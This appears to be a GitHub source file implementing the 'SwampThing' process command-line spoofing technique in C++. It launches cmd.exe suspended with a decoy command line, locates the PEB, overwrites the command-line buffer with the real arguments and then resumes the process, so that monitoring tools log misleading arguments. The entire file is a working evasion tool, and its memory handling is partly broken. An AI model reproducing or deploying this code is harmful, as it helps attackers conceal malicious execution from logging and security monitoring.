-
Notifications
You must be signed in to change notification settings - Fork 121
/
Copy pathProcessCommandlineSpoofing.cpp
188 lines (169 loc) · 5.34 KB
/
ProcessCommandlineSpoofing.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
//Implementing SwampThing with C++
//Reference: https://github.com/FuzzySecurity/Sharp-Suite/tree/master/SwampThing
#include <windows.h>
#include <Ntsecapi.h>
typedef NTSTATUS(WINAPI* _NtQueryInformationProcess)(
HANDLE ProcessHandle,
DWORD ProcessInformationClass,
PVOID ProcessInformation,
DWORD ProcessInformationLength,
PDWORD ReturnLength
);
struct PROCESS_BASIC_INFORMATION {
PVOID Reserved1;
LPCVOID PebBaseAddress;
PVOID Reserved2[2];
DWORD UniqueProcessId;
PVOID Reserved3;
};
int SpawnTheThing(char *Launch, char *FakeCmdLine, char *RealCmdLineChar)
{
//char to wchar
wchar_t RealCmdLineWchar[100];
swprintf(RealCmdLineWchar, 100, L"%hs", RealCmdLineChar);
_wcslwr_s(RealCmdLineWchar, wcslen(RealCmdLineWchar) + 1);
int err = 0;
// determine if 64 or 32-bit processor
SYSTEM_INFO si;
GetNativeSystemInfo(&si);
if(si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
printf("[+]System Arch:64-bit\r\n");
else
printf("[+]System Arch:32-bit\r\n");
// determine if this process is running on WOW64
BOOL wow;
IsWow64Process(GetCurrentProcess(), &wow);
if (wow)
{
printf("[!]PE Arch:32-bit\r\n");
printf("[!]You need to use the 64-bit PE\r\n");
return 0;
}
// use WinDbg "dt ntdll!_PEB" command and search for ProcessParameters offset to find the truth out
DWORD ProcessParametersOffset = si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 ? 0x20 : 0x10;
DWORD CommandLineOffset = si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 ? 0x70 : 0x40;
// read basic info to get ProcessParameters address, we only need the beginning of PEB
DWORD pebSize = ProcessParametersOffset + 8;
PBYTE peb = (PBYTE)malloc(pebSize);
ZeroMemory(peb, pebSize);
// read basic info to get CommandLine address, we only need the beginning of ProcessParameters
DWORD ppSize = CommandLineOffset + 16;
PBYTE pp = (PBYTE)malloc(ppSize);
ZeroMemory(pp, ppSize);
PWSTR cmdLine;
LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA();
// hide window
// pStartupInfo->wShowWindow = SW_HIDE;
// pStartupInfo->dwFlags = STARTF_USESHOWWINDOW;
LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION();
printf("[*]CreateProcess -> Suspended\r\n");
CreateProcessA
(
Launch,
FakeCmdLine,
0,
0,
0,
CREATE_SUSPENDED,
0,
0,
pStartupInfo,
pProcessInfo
);
if (!pProcessInfo->hProcess)
{
printf("[!]Error creating process\r\n");
return 0;
}
PROCESS_BASIC_INFORMATION pbi;
ZeroMemory(&pbi, sizeof(pbi));
// get process information
_NtQueryInformationProcess query = (_NtQueryInformationProcess)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryInformationProcess");
err = query(pProcessInfo->hProcess, 0, &pbi, sizeof(pbi), NULL);
if (err != 0)
{
CloseHandle(pProcessInfo->hProcess);
free(peb);
free(pp);
printf("[!]NtQueryInformationProcess failed\r\n");
return 0;
}
// read PEB
if (!ReadProcessMemory(pProcessInfo->hProcess, pbi.PebBaseAddress, peb, pebSize, NULL))
{
CloseHandle(pProcessInfo->hProcess);
free(peb);
free(pp);
printf("[!]ReadProcessMemory PEB failed\r\n");
return 0;
}
// read ProcessParameters
PBYTE* parameters = (PBYTE*)*(LPVOID*)(peb + ProcessParametersOffset); // address in remote process adress space
if (!ReadProcessMemory(pProcessInfo->hProcess, parameters, pp, ppSize, NULL))
{
CloseHandle(pProcessInfo->hProcess);
free(peb);
free(pp);
printf("[!]ReadProcessMemory Parameters failed\r\n");
return 0;
}
printf("[*]ReadProcessMemory -> commandline -> ");
// read CommandLine
UNICODE_STRING* pCommandLine = (UNICODE_STRING*)(pp + CommandLineOffset);
cmdLine = (PWSTR)malloc(pCommandLine->MaximumLength);
if (!ReadProcessMemory(pProcessInfo->hProcess, pCommandLine->Buffer, cmdLine, pCommandLine->MaximumLength, NULL))
{
printf("Failed\r\n");
CloseHandle(pProcessInfo->hProcess);
free(peb);
free(pp);
free(cmdLine);
printf("[!]ReadProcessMemory Parameters failed\r\n");
return 0;
}
printf("Success\r\n");
printf("[+]Commandline:%ws\n", cmdLine);
printf("[*]WriteProcessMemory -> commandline -> ");
// write CommandLine
if (!WriteProcessMemory(pProcessInfo->hProcess, pCommandLine->Buffer, RealCmdLineWchar, pCommandLine->MaximumLength, NULL))
{
printf("Failed\r\n");
CloseHandle(pProcessInfo->hProcess);
free(peb);
free(pp);
free(cmdLine);
free(RealCmdLineWchar);
printf("[!]WriteProcessMemory Parameters failed\r\n");
return 0;
}
printf("Success\r\n");
printf("[*]ReadProcessMemory again -> commandline -> ");
// read CommandLine again
if (!ReadProcessMemory(pProcessInfo->hProcess, pCommandLine->Buffer, cmdLine, pCommandLine->MaximumLength, NULL))
{
printf("Failed\r\n");
CloseHandle(pProcessInfo->hProcess);
free(peb);
free(pp);
free(cmdLine);
free(RealCmdLineWchar);
printf("[!]ReadProcessMemory Parameters failed\r\n");
return 0;
}
printf("Success\r\n");
printf("[+]New Commandline:%ws\r\n", cmdLine);
free(peb);
free(pp);
free(cmdLine);
// ResumeThread
printf("[+]ResumeThread -> ", cmdLine);
if (ResumeThread(pProcessInfo->hThread) == -1)
printf("Failed\r\n");
printf("Success\r\n");
return 1;
}
int main(int argc, char* argv[])
{
SpawnTheThing("c:\\windows\\system32\\cmd.exe", "/c start notepad.exe", "/c start calc.exe");
return 1;
}